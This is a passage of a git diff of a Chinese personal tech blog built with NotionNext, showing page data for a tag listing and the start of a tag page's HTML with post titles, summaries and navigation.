文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"推荐"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"推荐"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\346\226\207\345\255\227.html" "b/tag/\346\226\207\345\255\227.html"
index 299ec22d0..8fa53eea0 100644
--- "a/tag/\346\226\207\345\255\227.html"
+++ "b/tag/\346\226\207\345\255\227.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>文字 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="文字 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/文字"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="文字 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 